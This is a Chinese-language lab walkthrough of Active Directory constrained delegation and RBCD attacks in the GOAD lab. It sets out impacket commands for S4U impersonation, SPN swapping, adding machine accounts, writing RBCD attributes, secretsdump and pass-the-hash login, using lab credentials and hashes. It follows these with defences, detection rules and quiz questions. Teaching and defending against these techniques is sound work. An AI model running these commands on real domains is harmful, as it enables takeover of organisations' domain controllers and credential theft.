在 Day 17 中,我們成功透過無約束委派(Unconstrained Delegation)完成了一次驚人的跨域提升攻擊:從子域 WINTERFELL 的普通存取權限,透過強制認證技術捕獲父域 KINGSLANDING 的 TGT,最終執行 DCSync 攻擊取得整個父域的完整控制權。這個攻擊展示了無約束委派的巨大威脅性 - 只要控制一台設定為無約束委派的機器,就有機會捕獲所有曾向它認證的使用者票證,包括域控制器本身。
然而,Active Directory 的委派攻擊面遠不止於此。今天我們將深入探討另外兩種更常見、更隱蔽的委派類型:約束委派(Constrained Delegation)與資源型約束委派(Resource-Based Constrained Delegation, RBCD)。這兩種委派機制在現代企業環境中被廣泛使用,因為它們提供了更精細的存取控制。但就像所有的安全機制一樣,當設定不當或被攻擊者利用時,它們同樣會成為滲透的突破口。
完成今天的實作後,你將能夠:
BloodHound 查詢:
# 查詢約束委派關係
MATCH p=(u)-[:AllowedToDelegate]->(c) RETURN p
查詢語法說明:
MATCH
- 查詢指令,用來匹配符合條件的圖形模式p=
- 將整個匹配路徑命名為 p
(u)
- 起始節點,變數名為 u
-[:AllowedToDelegate]->
- 有向關係,類型為 AllowedToDelegate
(允許委派)(c)
- 目標節點,變數名為 c
RETURN p
- 回傳整個匹配的路徑查詢結果分析:
這顯示兩個實體(一台電腦和一個使用者帳號)都被允許委派權限給 Winterfell 這台電腦。
使用 Impacket 查詢:
# 列出所有約束委派設定
impacket-findDelegation NORTH.SEVENKINGDOMS.LOCAL/arya.stark:Needle \
-target-domain north.sevenkingdoms.local
指令說明:
arya.stark
這個帳號,密碼是 Needle
登入north.sevenkingdoms.local
這個網域預期輸出:
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
------------ ----------- ---------------------------------- ----------------------------------------- ----------
jon.snow Person Constrained w/ Protocol Transition CIFS/winterfell No
jon.snow Person Constrained w/ Protocol Transition CIFS/winterfell.north.sevenkingdoms.local No
CASTELBLACK$ Computer Constrained HTTP/winterfell No
CASTELBLACK$ Computer Constrained HTTP/winterfell.north.sevenkingdoms.local Yes
結果解讀:
winterfell
這台電腦上的 CIFS 服務(檔案分享功能)winterfell
這台電腦上的 HTTP 服務(網頁服務)委派類型 | 白話解釋 | 危險程度 |
---|---|---|
Unconstrained(無限制) | 可以代替使用者做任何事 | 🔴 超級危險 |
Constrained(有限制) | 只能代替使用者存取特定服務 | 🟡 中等危險 |
有協定轉換的限制委派 | 可以轉換認證方式,比較彈性 | 🟠 有點危險 |
假設駭客已經拿下了 jon.snow
或 CASTELBLACK$
這兩個帳號:
winterfell
這台電腦的檔案或網頁服務白話總結:
簡單來說,這就像是:
設定 | 協定轉換 | TGT 需求 | 攻擊難度 | 備註 |
---|---|---|---|---|
有協定轉換 | ✅ Enabled | ❌ 不需要 | 🟢 簡單 | 直接冒充任意使用者 |
無協定轉換 | ❌ Disabled | ✅ 需要可轉發的 TGS | 🔴 困難 | 需要先建立 RBCD |
# 確認 jon.snow 的委派設定
impacket-findDelegation NORTH.SEVENKINGDOMS.LOCAL/arya.stark:Needle \
-target-domain north.sevenkingdoms.local | grep jon.snow
關鍵資訊:
jon.snow
iknownothing
B8D76E56E9DAC90539AFF05E3CCB1755
CIFS/winterfell
S4U 攻擊流程:
1. S4U2Self:取得「代表 Administrator」的 TGS
2. S4U2Proxy:將 TGS 轉換為目標服務的票證
一鍵執行:
# 清除舊的票證環境變數
unset KRB5CCNAME
# 使用 impacket getST
impacket-getST \
-spn 'CIFS/winterfell.north.sevenkingdoms.local' \
-impersonate Administrator \
-dc-ip 192.168.139.11 \
north.sevenkingdoms.local/jon.snow:iknownothing
參數說明:
-spn
:目標服務(CIFS/winterfell)-impersonate
:要冒充的使用者(Administrator)-dc-ip
:域控制器 IP成功輸出:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
# 設定票證
export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
# 使用 SMB
impacket-smbclient -k -no-pass \
winterfell.north.sevenkingdoms.local
重要提醒:必須使用 FQDN(winterfell.north.sevenkingdoms.local)
可用指令:
# shares # 列出所有共享
# use C$ # 切換到 C 槽
# ls # 列出檔案
# get file.txt # 下載檔案
# put backdoor.exe # 上傳檔案
關鍵發現:SPN 在請求中未加密,可以替換!
# 原始委派:CIFS/winterfell
# 但我們想要:HTTP/winterfell(切換不同服務)
# 使用 -altservice 替換
impacket-getST \
-spn 'CIFS/winterfell.north.sevenkingdoms.local' \
-impersonate Administrator \
-dc-ip 192.168.139.11 \
-altservice 'HTTP/winterfell.north.sevenkingdoms.local' \
north.sevenkingdoms.local/jon.snow:iknownothing
常用 SPN 清單:
SPN | 用途 | 對應工具 |
---|---|---|
CIFS/host |
SMB 檔案共享 | psexec, smbexec, wmiexec |
HTTP/host |
Web 服務 | Web Shell |
HOST/host |
多種服務 | 通用 |
LDAP/host |
LDAP 服務 | LDAP 查詢 |
MSSQLSvc/host:1433 |
SQL Server | SQL 管理 |
xfreerdp3 /v:192.168.139.11 \
/u:Administrator \
/p:'NgtI75cKV+Pu' \
/d:north.sevenkingdoms.local \
/cert:ignore \
/dynamic-resolution \
+clipboard
在 GOAD 中,CASTELBLACK$
設定為無協定轉換的約束委派:
CASTELBLACK$
↓ 可委派至
HTTP/winterfell
檢視設定:
# 查詢 CASTELBLACK(無協定轉換)
Get-ADComputer castelblack -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation | Format-List
# 查詢 jon.snow(有協定轉換)- 對比用
Get-ADUser 'jon.snow' -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation | Format-List
關鍵差異:
屬性 | CASTELBLACK$ | jon.snow |
---|---|---|
msDS-AllowedToDelegateTo |
HTTP/winterfell | CIFS/winterfell |
TrustedToAuthForDelegation |
False ❌ | True ✅ |
攻擊難度 | 困難 | 簡單 |
S4U2Self → 產生 Non-Forwardable TGS ❌
↓
S4U2Proxy 需要 Forwardable TGS
↓
攻擊失敗
解決方案演進:
攻擊思路:
1. 建立新電腦 X (rbcd_const$)
2. 設定 X → CASTELBLACK$ 的 RBCD
3. 執行 RBCD 攻擊取得 Forwardable TGS(host/castelblack)
4. 使用該 TGS 執行 S4U2Proxy → WINTERFELL
步驟 1:新增電腦帳號
# 使用 arya.stark 新增電腦(Domain Users 預設可新增 10 台)
impacket-addcomputer \
-computer-name 'rbcd_const$' \
-computer-pass 'rbcdpass' \
-dc-host 192.168.139.11 \
north.sevenkingdoms.local/arya.stark:Needle
成功輸出:
[*] Successfully added machine account rbcd_const$ with password rbcdpass.
步驟 2:設定 RBCD(rbcd_const$ → castelblack$)
首先需要取得 CASTELBLACK$ 的 NTLM Hash:
# 使用 jeor.mormont 的憑證 dump CASTELBLACK 的 secrets
impacket-secretsdump north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@192.168.139.22
取得 Hash:aa9f662562792331251c9e43b72c5caf
# 使用 CASTELBLACK$ 的 hash 設定 RBCD
impacket-rbcd \
-delegate-from 'rbcd_const$' \
-delegate-to 'castelblack$' \
-dc-ip 192.168.139.11 \
-action 'write' \
-hashes ':aa9f662562792331251c9e43b72c5caf' \
north.sevenkingdoms.local/'castelblack$'
成功輸出:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] rbcd_const$ can now impersonate users on castelblack$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] rbcd_const$ (S-1-5-21-3845383931-1370366697-225289965-1122)
步驟 3:執行 RBCD 攻擊(取得 Forwardable TGS)
# 一次完成 S4U2Self + S4U2Proxy
impacket-getST \
-spn 'host/castelblack' \
-impersonate Administrator \
-dc-ip 192.168.139.11 \
north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
關鍵輸出:
[*] Saving ticket in Administrator@host_castelblack@NORTH.SEVENKINGDOMS.LOCAL.ccache
驗證票證屬性:
export KRB5CCNAME=Administrator@host_castelblack@NORTH.SEVENKINGDOMS.LOCAL.ccache
# 檢查 Forwardable 標記
klist -f
現在我們有了 Forwardable TGS for host/castelblack
!
步驟 4:執行 Constrained Delegation(S4U2Proxy)
# 使用 Forwardable TGS 執行 S4U2Proxy
# 並使用 -altservice 替換 SPN
impacket-getST \
-impersonate Administrator \
-spn 'http/winterfell.north.sevenkingdoms.local' \
-altservice 'cifs/winterfell.north.sevenkingdoms.local' \
-additional-ticket 'Administrator@host_castelblack@NORTH.SEVENKINGDOMS.LOCAL.ccache' \
-dc-ip 192.168.139.11 \
-hashes ':aa9f662562792331251c9e43b72c5caf' \
north.sevenkingdoms.local/'castelblack$'
參數說明:
-additional-ticket
:前一步取得的 Forwardable TGS-altservice
:將 HTTP 替換為 CIFS-hashes
:CASTELBLACK$ 的 NTLM hash成功輸出:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Using additional ticket Administrator@host_castelblack@NORTH.SEVENKINGDOMS.LOCAL.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Changing service from http/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL to cifs/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@cifs_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
步驟 5:使用票證存取 WINTERFELL
發現測試失敗
export KRB5CCNAME=Administrator@cifs_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
impacket-wmiexec -k -no-pass \
north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local
無協定轉換的委派攻擊在真實環境中受到額外限制:
這展示了 Windows 的深度防禦機制,即使攻擊者:
仍可能在應用層被阻擋。
# 清除 RBCD 設定
impacket-rbcd \
-delegate-to 'castelblack$' \
-delegate-from 'rbcd_const$' \
-dc-ip 192.168.139.11 \
-action 'flush' \
-hashes ':aa9f662562792331251c9e43b72c5caf' \
north.sevenkingdoms.local/'castelblack$'
# 刪除電腦帳號
impacket-addcomputer \
-computer-name 'rbcd_const$' \
-computer-pass 'rbcdpass' \
-dc-host 192.168.139.11 \
north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor! \
-delete
與傳統委派的差異:
特性 | 傳統約束委派 | RBCD |
---|---|---|
權限設定位置 | 來源服務 | 目標資源 |
設定權限 | Domain Admin | 資源擁有者 / GenericWrite |
屬性位置 | msDS-AllowedToDelegateTo | msDS-AllowedToActOnBehalfOfOtherIdentity |
靈活性 | 低 | 高 |
RBCD 的關鍵:
任何對目標有 GenericWrite/GenericAll 的帳號
→ 可以設定「誰可以代表他人存取我」
→ 攻擊者控制「誰」→ 可以冒充任意使用者存取目標
BloodHound 查詢:
# 查詢對電腦有 GenericAll/GenericWrite 的使用者
MATCH p=(u:User)-[:GenericAll|GenericWrite]->(c:Computer) RETURN p
在 GOAD 中的發現:
stannis.baratheon
↓ GenericWrite
KINGSLANDING (DC)
使用 BloodHound 確認 stannis.baratheon
對 KINGSLANDING$
有 GenericWrite 權限。
關鍵發現:
stannis.baratheon:Drag0nst0ne
KINGSLANDING$
(sevenkingdoms.local 的 DC)# 新增電腦 rbcd$
impacket-addcomputer \
-computer-name 'rbcd$' \
-computer-pass 'rbcdpass' \
-dc-host kingslanding.sevenkingdoms.local \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
成功輸出:
[*] Successfully added machine account rbcd$ with password rbcdpass.
為什麼建立電腦帳號?
# 設定 rbcd$ 可以代表任何人存取 KINGSLANDING$
impacket-rbcd \
-delegate-from 'rbcd$' \
-delegate-to 'kingslanding$' \
-dc-ip kingslanding.sevenkingdoms.local \
-action 'write' \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
成功輸出:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] rbcd$ can now impersonate users on kingslanding$ via S4U2Proxy
驗證設定:
# 讀取屬性確認
impacket-rbcd \
-delegate-to 'kingslanding$' \
-dc-ip kingslanding.sevenkingdoms.local \
-action 'read' \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
# 使用 rbcd$ 代表 Administrator 取得 KINGSLANDING 的票證
impacket-getST \
-spn 'cifs/kingslanding.sevenkingdoms.local' \
-impersonate Administrator \
-dc-ip kingslanding.sevenkingdoms.local \
sevenkingdoms.local/rbcd$:rbcdpass
攻擊流程:
1. getST 使用 rbcd$ 的憑證向 KDC 請求 TGT
2. S4U2Self:請求「代表 Administrator」的 TGS
3. S4U2Proxy:將 TGS 轉換為 KINGSLANDING 的 CIFS 服務票證
4. 儲存最終票證
成功輸出:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
# 設定票證
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
# 驗證票證
klist
# 使用 Administrator 權限執行 DCSync
impacket-secretsdump -k -no-pass \
@kingslanding.sevenkingdoms.local
部分輸出:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
[*] $MACHINE.ACC
SEVENKINGDOMS\KINGSLANDING$:aad3b435b51404eeaad3b435b51404ee:9ed9670d33c248ff3333dc0ccbff9032:::
使用 Evil-WinRM 登入:
evil-winrm -i 192.168.139.10 \
-u Administrator \
-H c66d72021a2d4744409969a581a1705e
成功取得管理員權限!
# 清除 RBCD 設定
impacket-rbcd \
-delegate-from 'rbcd$' \
-delegate-to 'kingslanding$' \
-dc-ip kingslanding.sevenkingdoms.local \
-action 'flush' \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
# 刪除電腦帳號(需要 DA 權限)
impacket-addcomputer \
-computer-name 'rbcd$' \
-computer-pass 'rbcdpass' \
-dc-host kingslanding.sevenkingdoms.local \
sevenkingdoms.local/cersei.lannister:il0vejaime \
-delete
防禦措施 | 實施方法 | 效果 |
---|---|---|
移除非必要的委派 | 審查並移除不需要的設定 | 🔴 極高 |
Protected Users 群組 | 將特權帳號加入 | 🟡 高 |
帳號敏感標記 | 設定「帳號敏感,無法委派」 | 🟡 高 |
監控 TGT 存取 | Event ID 4769(異常 TGT 請求) | 🟢 中 |
# 將帳號標記為敏感,無法委派
Set-ADAccountControl -Identity Administrator -AccountNotDelegated $true
# 驗證
Get-ADUser Administrator -Properties AccountNotDelegated
# 將管理員加入 Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members Administrator
# Protected Users 的保護:
# - 無法使用 NTLM 認證
# - TGT 有效期限縮短為 4 小時
# - 無法被委派
# - 無法使用 DES 或 RC4
防禦措施 | 實施方法 | 效果 |
---|---|---|
停用協定轉換 | 只在必要時啟用 | 🔴 極高 |
最小權限原則 | 僅委派至必要服務 | 🟡 高 |
定期審查 | 檢查委派設定 | 🟢 中 |
監控 S4U 請求 | Event ID 4769 | 🟡 高 |
# 列出所有約束委派設定
Get-ADObject -Filter {(msDS-AllowedToDelegateTo -like '*') -or (UserAccountControl -band 16777216)} `
-Properties msDS-AllowedToDelegateTo, TrustedForDelegation, TrustedToAuthForDelegation, UserAccountControl |
Select Name, msDS-AllowedToDelegateTo, TrustedForDelegation, TrustedToAuthForDelegation
防禦措施 | 實施方法 | 效果 |
---|---|---|
限制 GenericWrite 權限 | 審查並移除過度權限 | 🔴 極高 |
電腦帳號配額 | 限制 MachineAccountQuota | 🟡 高 |
監控屬性變更 | Event ID 5136 | 🟡 高 |
LDAP 簽章 | 強制 LDAP 簽章和通道繫結 | 🟢 中 |
# 檢查目前配額(預設 10)
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName |
ForEach-Object { Get-ADObject $_ -Properties ms-DS-MachineAccountQuota }
# 設定為 0(只有管理員可新增電腦)
Set-ADDomain -Identity "north.sevenkingdoms.local" `
-Replace @{"ms-DS-MachineAccountQuota"="0"}
# SIEM 規則範例(Event ID 5136)
# 監控屬性:msDS-AllowedToActOnBehalfOfOtherIdentity
# 告警條件:任何非預期的變更
Event ID | 來源 | 描述 | 委派相關 |
---|---|---|---|
4768 | Security | TGT 請求 | 無約束委派 |
4769 | Security | TGS 請求 | 所有委派類型 |
4770 | Security | TGS 更新 | 委派票證更新 |
4624 | Security | 登入(Type 3) | 委派認證 |
5136 | Security | 目錄服務物件修改 | RBCD 設定變更 |
指標 | 說明 | 優先級 |
---|---|---|
非預期的 TGT 請求 | 帳號從異常位置請求 TGT | 🔴 高 |
大量 S4U 請求 | 短時間內多次 S4U2Proxy | 🔴 高 |
電腦帳號快速新增 | 短時間新增多個電腦 | 🟡 中 |
跨域委派流量 | 子域→父域的異常委派 | 🔴 極高 |
敏感帳號被冒充 | Administrator 被 impersonate | 🔴 極高 |
<!-- Splunk/Sigma 規則 -->
<rule>
<title>可疑的 TGT 請求模式</title>
<detection>
<selection>
<EventID>4768</EventID>
<TicketOptions>0x40810000</TicketOptions> <!-- Forwardable + Renewable -->
<PreAuthType>0</PreAuthType>
</selection>
<condition>selection | count() by ClientAddress > 10</condition>
</detection>
</rule>
<rule>
<title>S4U2Self 或 S4U2Proxy 使用</title>
<detection>
<selection>
<EventID>4769</EventID>
<ServiceName>*$</ServiceName> <!-- 電腦帳號 -->
<TicketOptions>0x40810000</TicketOptions>
<TicketEncryptionType>0x17</TicketEncryptionType> <!-- RC4 -->
</selection>
</detection>
</rule>
<rule>
<title>RBCD 屬性修改</title>
<detection>
<selection>
<EventID>5136</EventID>
<AttributeLDAPDisplayName>msDS-AllowedToActOnBehalfOfOtherIdentity</AttributeLDAPDisplayName>
<OperationType>%%14674</OperationType> <!-- Value Added -->
</selection>
</detection>
</rule>
特性 | 無約束委派 | 約束委派(有 PT) | 約束委派(無 PT) | RBCD |
---|---|---|---|---|
攻擊複雜度 | 🟢 簡單 | 🟢 簡單 | 🔴 複雜 | 🟡 中等 |
需要條件 | 控制委派主機 + 強制認證 | 委派帳號憑證 | 委派帳號 hash + RBCD | 對目標有寫入權限 |
可冒充範圍 | 認證過的使用者 | 任意使用者 | 任意使用者 | 任意使用者 |
目標限制 | 無限制 | 預定義服務 | 預定義服務 | 目標主機 |
隱蔽性 | 🟡 中 | 🟡 中 | 🟢 高 | 🟡 中 |
持久性 | ❌ 臨時 | ❌ 臨時 | ❌ 臨時 | ✅ 持久(設定保留) |
實際威脅 | 🔴 極高 | 🔴 高 | 🟡 中 | 🔴 高 |
在約束委派攻擊中,「有協定轉換」(Protocol Transition)和「無協定轉換」的主要差異是什麼?
A) 有協定轉換可以存取更多服務,無協定轉換只能存取單一服務
B) 有協定轉換可以直接執行 S4U2Self,無協定轉換需要先取得可轉發的 TGS
C) 有協定轉換的攻擊速度更快,無協定轉換需要更長時間
D) 有協定轉換只能冒充普通使用者,無協定轉換可以冒充管理員
正確答案:B
詳細解析:
協定轉換(Protocol Transition)的核心差異在於 S4U2Self 的使用能力:
有協定轉換(TrustedToAuthForDelegation = True):
攻擊者
↓ 使用密碼/Hash
執行 S4U2Self(可以直接冒充任意使用者)
↓ 取得 Forwardable TGS
執行 S4U2Proxy
↓
成功存取目標服務
在實驗中,jon.snow 的攻擊就是這個流程:
impacket-getST \
-spn 'CIFS/winterfell.north.sevenkingdoms.local' \
-impersonate Administrator \
north.sevenkingdoms.local/jon.snow:iknownothing
無協定轉換(TrustedToAuthForDelegation = False):
攻擊者
↓ 使用密碼/Hash
執行 S4U2Self → 產生 Non-Forwardable TGS ❌
↓ (無法直接用於 S4U2Proxy)
必須先透過其他方式取得 Forwardable TGS
↓ (例如:RBCD 攻擊)
才能執行 S4U2Proxy
CASTELBLACK$ 的攻擊需要額外步驟:
為什麼其他選項錯誤:
A 錯誤:兩種類型都只能存取預先定義的服務清單,差異不在服務數量而在攻擊流程。
C 錯誤:雖然無協定轉換需要更多步驟,但速度差異不是主要區別,關鍵在於技術限制。
D 錯誤:兩種類型都可以冒充任意使用者(包括管理員),差異不在冒充對象。
實戰意義:
在滲透測試中,發現「有協定轉換」的約束委派時,攻擊路徑會簡單很多。只要有帳號憑證就能直接進行 S4U 攻擊。而「無協定轉換」則需要更複雜的攻擊鏈,通常需要結合 RBCD 等其他技術。
在約束委派攻擊中,使用 -altservice
參數進行 SPN 替換的原理是什麼?
A) 修改 Active Directory 中的委派設定,增加新的服務類型
B) 利用 SPN 在 Kerberos 請求中未加密的特性,客戶端替換服務名稱
C) 透過中間人攻擊攔截並修改 KDC 回應的票證
D) 使用特殊權限繞過 KDC 的 SPN 驗證機制
正確答案:B
詳細解析:
SPN 替換能夠成功的根本原因是 Kerberos 協定的設計特性:
Kerberos TGS 請求的結構:
TGS Request (發送給 KDC)
├── Encrypted Authenticator(加密的認證資訊)
├── TGT(加密的票證授權票證)
└── Service Principal Name ← 未加密!可以修改
└── 格式:SERVICE/hostname@REALM
攻擊流程:
# DC 檢查委派設定時(簡化的虛擬碼)
if user.msDS-AllowedToDelegateTo contains target_hostname:
issue_ticket()
# 問題:DC 只檢查主機名稱
# 不檢查具體的服務類型(HTTP vs CIFS)
# jon.snow 被授權:CIFS/winterfell.north.sevenkingdoms.local
# 但我們想要:HTTP/winterfell.north.sevenkingdoms.local
impacket-getST \
-spn 'CIFS/winterfell.north.sevenkingdoms.local' \ # DC 看到這個(通過檢查)
-altservice 'HTTP/winterfell.north.sevenkingdoms.local' \ # 客戶端替換
north.sevenkingdoms.local/jon.snow:iknownothing
步驟 1: KDC 收到請求
- SPN: CIFS/winterfell.north.sevenkingdoms.local
- KDC 檢查:✓ jon.snow 可以委派到 winterfell.north.sevenkingdoms.local
- KDC 發放票證
步驟 2: 客戶端(Impacket)替換 SPN
- 在票證中將 CIFS 改成 HTTP
- 這個操作發生在客戶端,不需要 KDC 重新驗證
步驟 3: 使用修改後的票證
- 目標服務收到票證
- 票證上顯示:HTTP/winterfell.north.sevenkingdoms.local
- 目標服務接受(因為票證由 KDC 簽發,簽章有效)
實驗證明:
從輸出可以看到替換過程:
[*] Requesting S4U2Proxy
[*] Changing service from CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
to HTTP/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in Administrator@HTTP_winterfell...ccache
為什麼其他選項錯誤:
A 錯誤:不需要修改 AD 設定,攻擊完全在客戶端進行。如果能修改 AD,就不需要這個技巧了。
C 錯誤:不是中間人攻擊。票證是 KDC 正常發放的,只是客戶端在使用前修改了 SPN 欄位。
D 錯誤:不需要特殊權限。這是利用協定設計特性,任何擁有委派權限的帳號都能使用此技巧。
防禦建議:
這個特性是 Kerberos 協定的固有限制,難以完全防禦。最佳做法是:
執行 RBCD(資源型約束委派)攻擊時,攻擊者最低需要什麼權限?
A) 對目標電腦的完整控制權限(Full Control)
B) 對目標電腦的寫入權限(GenericWrite 或 GenericAll)
C) 域管理員(Domain Admin)權限
D) 目標電腦的本地管理員(Local Administrator)權限
正確答案:B
詳細解析:
RBCD 攻擊的核心是修改目標電腦的 msDS-AllowedToActOnBehalfOfOtherIdentity
屬性,這只需要寫入權限。
RBCD 的權限模型:
與傳統約束委派的差異:
傳統約束委派:
設定在「來源服務」上
需要:Domain Admin 權限修改 msDS-AllowedToDelegateTo
RBCD:
設定在「目標資源」上
需要:對目標資源的 GenericWrite/GenericAll 權限
實驗中的權限鏈:
# BloodHound 查詢顯示
stannis.baratheon --[GenericWrite]--> KINGSLANDING$
impacket-rbcd \
-delegate-from 'rbcd$' \
-delegate-to 'kingslanding$' \
-action 'write' \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
stannis.baratheon (普通使用者)
↓ GenericWrite 權限
KINGSLANDING$ (目標 DC)
↓ 修改 msDS-AllowedToActOnBehalfOfOtherIdentity
設定:rbcd$ 可以代表任何人存取 KINGSLANDING$
↓ 執行 S4U2Self + S4U2Proxy
取得 Administrator@KINGSLANDING 的服務票證
↓ DCSync
完全控制域
GenericWrite 和 GenericAll 的差異:
# GenericWrite:可以修改物件的大部分屬性
- 包括 msDS-AllowedToActOnBehalfOfOtherIdentity
- 足以執行 RBCD 攻擊
# GenericAll:完整控制權限
- 包含 GenericWrite 的所有權限
- 還包括刪除、修改權限等
- 也可以執行 RBCD 攻擊(因為包含 GenericWrite)
為什麼其他選項錯誤:
A 錯誤:不需要完整控制權限。GenericWrite(寫入權限)就足夠了,這比 Full Control 的權限範圍小。
C 錯誤:這是 RBCD 攻擊的強大之處 - 不需要 Domain Admin 權限。如果已經是 DA,就不需要攻擊了。RBCD 正是用來提權到 DA 的技術。
D 錯誤:不需要目標機器的本地管理員權限。攻擊完全透過 Active Directory 的 LDAP 進行,不需要登入目標機器。
實戰意義:
在真實環境中,GenericWrite/GenericAll 權限的誤配置比想像中常見:
防禦建議:
# 定期檢查誰有 GenericWrite/GenericAll 權限
Get-ADComputer -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$acl = $_.nTSecurityDescriptor.Access | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll" -and
$_.AccessControlType -eq "Allow"
}
if ($acl) {
Write-Warning "$($_.Name) has dangerous permissions!"
$acl | Select-Object IdentityReference, ActiveDirectoryRights
}
}
在 RBCD 攻擊中,為什麼需要建立電腦帳號(如 rbcd$)而不是直接使用使用者帳號?
A) 電腦帳號的密碼更複雜,更難被偵測
B) 電腦帳號預設有 SPN,而 S4U2Proxy 要求委派者必須有 SPN
C) 電腦帳號有更高的權限,可以執行更多操作
D) 使用者帳號無法設定 RBCD,只有電腦帳號可以
正確答案:B
詳細解析:
這是 RBCD 攻擊中最容易被忽略但非常關鍵的技術細節。
S4U2Proxy 的 SPN 需求:
Kerberos 協定要求執行 S4U2Proxy 的主體必須有 Service Principal Name (SPN):
S4U2Proxy 的邏輯:
「服務 A」想要代表使用者存取「服務 B」
↓
KDC 驗證:「服務 A」是否真的是一個服務?
↓
檢查方式:「服務 A」是否註冊了 SPN
↓
如果沒有 SPN → KDC 拒絕請求
電腦帳號 vs 使用者帳號的 SPN:
電腦帳號(例如:COMPUTER$):
✓ 預設自動註冊多個 SPN
- HOST/computername
- HOST/computername.domain.com
- RestrictedKrbHost/computername
- RestrictedKrbHost/computername.domain.com
✓ 建立後立即可用於 S4U2Proxy
使用者帳號(例如:user):
✗ 預設沒有任何 SPN
✗ 需要額外權限才能設定 SPN
✗ 設定 SPN 通常需要 Domain Admin 權限
實驗驗證:
建立電腦帳號後自動有 SPN:
# 建立電腦
impacket-addcomputer \
-computer-name 'rbcd$' \
-computer-pass 'rbcdpass' \
sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
檢查 SPN(在 DC 上):
Get-ADComputer rbcd | Get-ADObject -Properties servicePrincipalName
# 輸出:
servicePrincipalName:
- HOST/rbcd
- HOST/rbcd.sevenkingdoms.local
- RestrictedKrbHost/rbcd
- RestrictedKrbHost/rbcd.sevenkingdoms.local
攻擊流程中的 SPN 使用:
# 步驟 1:rbcd$ 使用其 SPN 執行 S4U2Self
impacket-getST \
-spn 'cifs/kingslanding.sevenkingdoms.local' \
-impersonate Administrator \
sevenkingdoms.local/rbcd$:rbcdpass
# KDC 檢查:
# 1. rbcd$ 是否有 SPN? ✓ 有(HOST/rbcd)
# 2. rbcd$ 是否被允許委派到 kingslanding? ✓ 是(透過 RBCD 設定)
# 3. 發放票證 ✓
為什麼其他選項錯誤:
A 錯誤:雖然電腦帳號密碼確實更複雜(120 個字元的隨機密碼),但這不是使用它們的主要原因。而且在攻擊中我們自己設定密碼('rbcdpass'),並不依賴其複雜性。
C 錯誤:電腦帳號和使用者帳號的基本權限是相同的,都是 Domain Users 群組成員。差異在於 SPN,不在於權限等級。
D 錯誤:使用者帳號也可以設定 RBCD(只要有 GenericWrite 權限)。問題是使用者帳號無法受益於 RBCD 設定,因為它們沒有 SPN 來執行 S4U2Proxy。
進階知識:為使用者設定 SPN
理論上可以為使用者帳號設定 SPN:
# 需要高權限(通常是 Domain Admin)
Set-ADUser -Identity "user" -ServicePrincipalNames @{Add="HOST/user"}
但這樣做會:
Domain Users 的 MachineAccountQuota:
# 檢查配額
Get-ADDomain | Select -ExpandProperty DistinguishedName |
Get-ADObject -Properties ms-DS-MachineAccountQuota
# 預設值:10
# 這意味著任何 Domain User 都可以建立最多 10 台電腦
這就是為什麼 RBCD 攻擊如此危險 - 普通使用者就能建立所需的電腦帳號。
防禦建議:
# 將 MachineAccountQuota 設為 0
Set-ADDomain -Identity "domain.com" -Replace @{"ms-DS-MachineAccountQuota"="0"}
# 監控電腦帳號建立
# Event ID 4741: A computer account was created
在實驗中,我們發現無協定轉換的約束委派攻擊雖然能成功產生票證,但最終無法使用票證存取目標服務(STATUS_MORE_PROCESSING_REQUIRED)。這個限制最可能的原因是什麼?
A) 票證的加密演算法不被目標服務支援
B) 透過委派鏈產生的票證缺少完整的 PAC(Privilege Attribute Certificate),被 SMB 服務層拒絕
C) 攻擊者的 IP 位址與票證中記錄的位址不符
D) 票證已經過期,需要重新產生
正確答案:B
詳細解析:
這個問題展示了理論攻擊與實務限制之間的重要差異。
PAC(Privilege Attribute Certificate)的作用:
PAC 是 Kerberos 票證中包含的授權資料,包含:
PAC 結構:
├── 使用者 SID
├── 群組成員資格(包括 Domain Admins 等)
├── 使用者權限
├── 帳號資訊(登入時間、過期時間等)
